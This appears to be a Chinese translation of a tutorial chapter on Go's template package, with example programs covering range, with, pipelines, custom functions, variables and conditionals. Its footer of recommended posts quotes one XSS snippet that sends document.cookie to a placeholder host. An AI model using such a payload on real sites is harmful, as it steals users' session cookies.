原文链接

很多语言都有很多方式将字符串从一只形式转换成另一种形式。Go 使用模板的方法通过提供一个对象作为参数来转换字符串。这个一般来讲是用来将对象插入到HTML中的,不过它同样可以用在其他的情况下。注意这部分跟网络编程毫无关系,不过对于网络编程来说很有用。

介绍

   大多数后端语言都能够将动态生成的组件插入到静态页面中,例如一个list。典型的例子像JSP,PHP等等。Go 采用了一个相对来说简单的脚本语言。
   重新编写一个template包已经通过了。关于template包的文档很少。现在还可以在old/template,中找到。现在在参考页还没有相关的包的文档。模板的变化可以再r60 (released 2011/09/07)中找到。
   我们在这里描述下新包。这个包设计的目的是通过使用一个对象的值改变原始文本从而达到输入一个文本输出一个不同的文本的目的。跟JSP或者其他的不同,Go的模板并没有限制必须使用HTML文件,这样就最大程度的使用它。
   被称作模板的原始文件会包含了没有被改变的文本和可以改变文本的命令。命令由”{ {} }” 分隔,跟JSP的命令<%= … =%> 和PHP的命令<?php … ?>相似。

插入对象

   一个模板应用到Go的对象上。Go对象的字段可以插入到模板中,同时也可深入到对象的字段,查找子字段等。当前对象使用”.”代表,因此如果插入的值是一个字符串就可以直接是用{ {.} }来表示。template通过使用fmt来将对象转换为字符串。
   需要使用前缀’.’来将当前对象的字段插入到模板中,例如下面这个对象类型:

type Person struct {
Name string
Age int
Emails []string
Jobs []*Job
}

  然后你通过以下代码可以插入Age和Name:

The name is {{.Name}}.
The age is {{.Age}}.

我们可以通过range命令来循环访问数组或者列表中的元素,所有想要访问Emails的信息可以使用如下代码:

{{range .Emails}}
...
{{end}}

Job的定义如下:

type Job struct {
Employer string
Role string
}

如果想要访问Person的Jobs,我么可以使用上面的 { {range .Jobs} }。另一种方式是将Jobs字段变为当前字段。可以使用{ {with} } … { {end} }命令来实现,这样{ {.} }表示的就是Jobs字段了。代码如下:

{{with .Jobs}}
{{range .}}
An employer is {{.Employer}}
and the role is {{.Role}}
{{end}}
{{end}}

这个命令不仅仅可以用在数组中,它可以用在任何字段。
   当我们有了一个模板后,我们可以将其应用到一个对象中,通过将对象插入到模板中来生成新的字符串。包括解析模板,将模板应用到对象两步处理。然后结果可以写到Writer中输出。例如:

t := template.New("Person template")
t, err := t.Parse(templ)
if err == nil {
buff := bytes.NewBufferString("")
t.Execute(buff, person)
}

下面是使用的完整的例子:

/**
* PrintPerson
*/ package main import (
"fmt"
"html/template"
"os"
) type Person struct {
Name string
Age int
Emails []string
Jobs []*Job
} type Job struct {
Employer string
Role string
} const templ = `The name is {{.Name}}.
The age is {{.Age}}.
{{range .Emails}}
An email is {{.}}
{{end}} {{with .Jobs}}
{{range .}}
An employer is {{.Employer}}
and the role is {{.Role}}
{{end}}
{{end}}
` func main() {
job1 := Job{Employer: "Monash", Role: "Honorary"}
job2 := Job{Employer: "Box Hill", Role: "Head of HE"} person := Person{
Name: "jan",
Age: 50,
Emails: []string{"jan@newmarch.name", "jan.newmarch@gmail.com"},
Jobs: []*Job{&job1, &job2},
} t := template.New("Person template")
t, err := t.Parse(templ)
checkError(err) err = t.Execute(os.Stdout, person)
checkError(err)
} func checkError(err error) {
if err != nil {
fmt.Println("Fatal error ", err.Error())
os.Exit(1)
}
}
 输出结果是:
The name is jan.
The age is 50. An email is jan@newmarch.name An email is jan.newmarch@gmail.com An employer is Monash
and the role is Honorary An employer is Box Hill
and the role is Head of HE

注意这里有很多空格输出,是因为这些空格在原始字符串就有,如果想要减少空格可以如下输入:

{{range .Emails}} An email is {{.}} {{end}}

输出结果是:

在这个例子中我们使用了一个字符串作为模板,我们同样可以使用template.ParseFiles()方法从一个文件中获取模板。

管道

   上面的转换掺入了一些文本到模板中。这些文本基本上都是随意的,不管这些文本是什么。如果我们想要将他们插入到HTML文件或者其他形式的文件中,这样我们就需要对一些字符进行转义。例如,为了再HTML中显示任意文本,我们不得不讲”<” 转换为”&lt”。Go 的模板有很多内建的函数,其中一个就是’html’,这个函数跟unix的管道很想,从标准输入中读取然后写到标准输出。
   取当前对象的值并将其转义输出到HTML中,如下:

{{ . | html }}

其他的函数使用方法相同。

定义函数

   模板通过使用一个对象插入相关值,通过使用fmt将对象转为字符串。有时候这并不是我们想要的。例如为了防止垃圾邮件发送的人得到你的邮箱,就需要将”@”转为“at”。例如“jane at newmarch.name”。如果我们想要template这样输出,我们可以编写一个转换函数。
   每一个模板都有一个名字供自己使用,同时可以关联一个Go的函数。这个通过下面这个类型关联:

type FuncMap map[string]interface{}

例如,如果我们想让我们的函数EmailExpanderemailExpand关联,我么可以在template中加入这个语句:

t = t.Funcs(template.FuncMap("emailExpand", EmailExpander))

EmailExpander的签名如下:

func EmailExpander(args ...interface{}) string

我们使用这个函数只是对传入的字符串类型感兴趣。Go 模板的代码已经有一些初始化的代码,所以我们直接复制这些代码来用。然后做了一些小修改,一些是完整代码:

/**
* PrintEmails
*/ package main import (
"fmt"
"os"
"strings"
"text/template"
) type Person struct {
Name string
Emails []string
} const templ = `The name is {{.Name}}.
{{range .Emails}}
An email is "{{. | emailExpand}}"
{{end}}
` func EmailExpander(args ...interface{}) string {
ok := false
var s string
if len(args) == 1 {
s, ok = args[0].(string)
}
if !ok {
s = fmt.Sprint(args...)
} // find the @ symbol
substrs := strings.Split(s, "@")
if len(substrs) != 2 {
return s
}
// replace the @ by " at "
return (substrs[0] + " at " + substrs[1])
} func main() {
person := Person{
Name: "jan",
Emails: []string{"jan@newmarch.name", "jan.newmarch@gmail.com"},
} t := template.New("Person template") // add our function
t = t.Funcs(template.FuncMap{"emailExpand": EmailExpander}) t, err := t.Parse(templ) checkError(err) err = t.Execute(os.Stdout, person)
checkError(err)
} func checkError(err error) {
if err != nil {
fmt.Println("Fatal error ", err.Error())
os.Exit(1)
}
}

输出是:

The name is jan.

        An email is "jan at newmarch.name"

        An email is "jan.newmarch at gmail.com"
变量

   模板包允许我们定义并使用变量。为了这个目的,我们可以在每个email的输出前加一个名字作为前缀,入下:

type Person struct {
Name string
Emails []string
}

为了访问email,我们可以使用range命令。

{{range .Emails}}
{{.}}
{{end}}

但是现在不能通过 . 来访问Name字段了,因为现在Name已经不在范围之内。解决方法就是将其出入一个变量以供访问。通过前面加“$”来定义变量:

{{$name := .Name}}
{{range .Emails}}
Name is {{$name}}, email is {{.}}
{{end}}

程序如下:

/**
* PrintNameEmails
*/ package main import (
"html/template"
"os"
"fmt"
) type Person struct {
Name string
Emails []string
} const templ = `{{$name := .Name}}
{{range .Emails}}
Name is {{$name}}, email is {{.}}
{{end}}
` func main() {
person := Person{
Name: "jan",
Emails: []string{"jan@newmarch.name", "jan.newmarch@gmail.com"},
} t := template.New("Person template")
t, err := t.Parse(templ)
checkError(err) err = t.Execute(os.Stdout, person)
checkError(err)
} func checkError(err error) {
if err != nil {
fmt.Println("Fatal error ", err.Error())
os.Exit(1)
}
}

输出:

Name is jan, email is jan@newmarch.name

Name is jan, email is jan.newmarch@gmail.com
条件语句

   继续我们Person的例子,假设我们想要输出emails的列表而不是深入这个字段,那么我们可以这么写模板:

Name is {{.Name}}
Emails are {{.Emails}}

它的输出是:

Name is jan
Emails are [jan@newmarch.name jan.newmarch@gmail.com]

这个就是fmt输出的格式。
   如果这是你想要的记过,那么在大多数情况下这样输出是没有问题的。让我们考虑一下那里差不多。有个JSON的包用来序列化对象,这个我们在第四章 讲过。他的输出方式为:

{"Name": "jan",
"Emails": ["jan@newmarch.name", "jan.newmarch@gmail.com"]
}

这个是我们在JSON的练习,现在让我们考虑下如何使用模板来输出这样的形式,下面这个代码就差不多可以:

{"Name": "{{.Name}}",
"Emails": {{.Emails}}
}

输出为:

{"Name": "jan",
"Emails": [jan@newmarch.name jan.newmarch@gmail.com]
}

这个还有两个问题,邮箱地址没有被引号括起来,列表没有用逗号隔开。
   如果用下面的形式怎么样?

{"Name": {{.Name}},
"Emails": [
{{range .Emails}}
"{{.}}",
{{end}}
]
}

输出是:

{"Name": "jan",
"Emails": ["jan@newmarch.name", "jan.newmarch@gmail.com",]
}

差不多正确了,不过仔细看。你会发现在列表末尾的元素有个逗号,根据JSON规范,是不允许这样实现的。

   我们可以通过if语句来搞定这个问题,如下:

{"Name": "{{.Name}}",
"Emails": [
{{range $index, $elmt := .Emails}}
{{if $index}}
, "{{$elmt}}"
{{else}}
"{{$elmt}}"
{{end}}
{{end}}
]
}

这个程序如下:

/**
* PrintJSONEmails
*/ package main import (
"html/template"
"os"
"fmt"
) type Person struct {
Name string
Emails []string
} const templ = `{"Name": "{{.Name}}",
"Emails": [
{{range $index, $elmt := .Emails}}
{{if $index}}
, "{{$elmt}}"
{{else}}
"{{$elmt}}"
{{end}}
{{end}}
]
}
` func main() {
person := Person{
Name: "jan",
Emails: []string{"jan@newmarch.name", "jan.newmarch@gmail.com"},
} t := template.New("Person template")
t, err := t.Parse(templ)
checkError(err) err = t.Execute(os.Stdout, person)
checkError(err)
} func checkError(err error) {
if err != nil {
fmt.Println("Fatal error ", err.Error())
os.Exit(1)
}
}

  这个就会是一个正确的输出。

   在结束本章之前,我么发现处理逗号可以通过定义一个Go的函数来实现。为了重用我们可以这样写:

/**
* Sequence.go
* Copyright Roger Peppe
*/ package main import (
"errors"
"fmt"
"os"
"text/template"
) var tmpl = `{{$comma := sequence "" ", "}}
{{range $}}{{$comma.Next}}{{.}}{{end}}
{{$comma := sequence "" ", "}}
{{$colour := cycle "black" "white" "red"}}
{{range $}}{{$comma.Next}}{{.}} in {{$colour.Next}}{{end}}
` var fmap = template.FuncMap{
"sequence": sequenceFunc,
"cycle": cycleFunc,
} func main() {
t, err := template.New("").Funcs(fmap).Parse(tmpl)
if err != nil {
fmt.Printf("parse error: %v\n", err)
return
}
err = t.Execute(os.Stdout, []string{"a", "b", "c", "d", "e", "f"})
if err != nil {
fmt.Printf("exec error: %v\n", err)
}
} type generator struct {
ss []string
i int
f func(s []string, i int) string
} func (seq *generator) Next() string {
s := seq.f(seq.ss, seq.i)
seq.i++
return s
} func sequenceGen(ss []string, i int) string {
if i >= len(ss) {
return ss[len(ss)-1]
}
return ss[i]
} func cycleGen(ss []string, i int) string {
return ss[i%len(ss)]
} func sequenceFunc(ss ...string) (*generator, error) {
if len(ss) == 0 {
return nil, errors.New("sequence must have at least one element")
}
return &generator{ss, 0, sequenceGen}, nil
} func cycleFunc(ss ...string) (*generator, error) {
if len(ss) == 0 {
return nil, errors.New("cycle must have at least one element")
}
return &generator{ss, 0, cycleGen}, nil
}
结论

   Go的模板对于一些将对象插入到模板的文本转换很有帮助。他没有使用功能强大的正则表达式,但是相比正则表达式它更快更易用。

Go 模板的更多相关文章

  1. Jade模板引擎让你飞

    写在前面:现在jade改名成pug了 一.安装 npm install jade 二.基本使用 1.简单使用 p hello jade! 渲染后: <p>hello jade!</p ...

  2. ABP入门系列(2)——通过模板创建MAP版本项目

    一.从官网创建模板项目 进入官网下载模板项目 依次按下图选择: 输入验证码开始下载 下载提示: 二.启动项目 使用VS2015打开项目,还原Nuget包: 设置以Web结尾的项目,设置为启动项目: 打 ...

  3. CMS模板应用调研问卷

    截止目前,已经有数十家网站与我们合作,进行了MIP化改造,在搜索结果页也能看到"闪电标"的出现.除了改造方面的问题,MIP项目组被问到最多的就是:我用了wordpress,我用了织 ...

  4. PHP-自定义模板-学习笔记

    1.  开始 这几天,看了李炎恢老师的<PHP第二季度视频>中的“章节7:创建TPL自定义模板”,做一个学习笔记,通过绘制架构图.UML类图和思维导图,来对加深理解. 2.  整体架构图 ...

  5. 【原创分享·微信支付】C# MVC 微信支付之微信模板消息推送

    微信支付之微信模板消息推送                    今天我要跟大家分享的是“模板消息”的推送,这玩意呢,你说用途嘛,那还是真真的牛逼呐.原因在哪?就是因为它是依赖微信生存的呀,所以他能不 ...

  6. OpenCV模板匹配算法详解

    1 理论介绍 模板匹配是在一幅图像中寻找一个特定目标的方法之一,这种方法的原理非常简单,遍历图像中的每一个可能的位置,比较各处与模板是否“相似”,当相似度足够高时,就认为找到了我们的目标.OpenCV ...

  7. 前端MVC学习总结(一)——MVC概要与angular概要、模板与数据绑定

    一.前端MVC概要 1.1.库与框架的区别 框架是一个软件的半成品,在全局范围内给了大的约束.库是工具,在单点上给我们提供功能.框架是依赖库的.AngularJS是框架而jQuery则是库. 1.2. ...

  8. ThinkPHP+Smarty模板中截取包含中英文混合的字符串乱码的解决方案

    好几天没写博客了,其实有好多需要总结的,因为最近一直在忙着做项目,但是困惑了几天的Smarty模板中截取包含中英文混合的字符串乱码的问题,终于解决了,所以记录下来,需要的朋友看一下: 出现乱码的原因: ...

  9. ThinkPHP 模板substr的截取字符串函数

    ThinkPHP 模板substr的截取字符串函数在Common/function.php加上以下代码 /** ** 截取中文字符串 **/ function msubstr($str, $start ...

  10. DDD领域驱动设计 - 设计文档模板

    设计文档模板: 系统背景和定位 业务需求描述 系统用例图 关键业务流程图 领域语言整理,主要是整理领域中的各种术语的定义,名词解释 领域划分(分析出子域.核心域.支撑域) 每个子域的领域模型设计(实体 ...

随机推荐

  1. BZOJ2322: [BeiJing2011]梦想封印

    Description 渐渐地,Magic Land上的人们对那座岛屿上的各种现象有了深入的了解. 为了分析一种奇特的称为梦想封印(Fantasy Seal)的特技,需要引入如下的概念: 每一位魔法的 ...

  2. 使用C#将HTML文本转换为普通文本,去掉所有的Html标记(转)

    using System; using System.Collections.Generic; using System.Linq; using System.Text; //首先需要导入命名空间 u ...

  3. Fling——K

    K. Fling Fling is a kind of puzzle games available on phone.This game is played on a board with 7 ro ...

  4. 李洪强iOS面试题之-iOS选择题

    1.及时聊天app不会采用的网络传输方式是 DA UDP B TCP C Http D FTP 2.下列技术不属于多线程的是 AA Block B NSThread C NSOperation D G ...

  5. zend studion实现自动换行

    真是学一门语言不仅有学语言的阻碍,同时还有编写代码工具的障碍,zend studion的自动换行问题 zend studion默认的是不会自己换行,百度查找后找到了如下个方法: 实现: 菜单" ...

  6. [LintCode] Move Zeroes 移动零

    Given an array nums, write a function to move all 0's to the end of it while maintaining the relativ ...

  7. Hibernate反向工程在javaweb下的操作配置

    1.在javaEE下新建项目,在WEB-INF的lib文件夹下添加所用到的jar包. 2.创建Hibernate 主配置文件 文件----新建----其他下的Hibernate目录,如图: 下一步,注 ...

  8. mysql错误代码整理

    1005:创建表失败1006:创建数据库失败1007:数据库已存在,创建数据库失败1008:数据库不存在,删除数据库失败1009:不能删除数据库文件导致删除数据库失败1010:不能删除数据目录导致删除 ...

  9. xss如何加载远程js的一些tips

    在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...

  10. Oracle rac集群环境中的特殊问题

    备注:本文摘抄于张晓明<大话Oracle RAC:集群 高可用性 备份与恢复> 因为集群环境需要多个计算机协同工作,要达到理想状态,必须要考虑在集群环境下面临的新挑战. 1.并发控制 在集 ...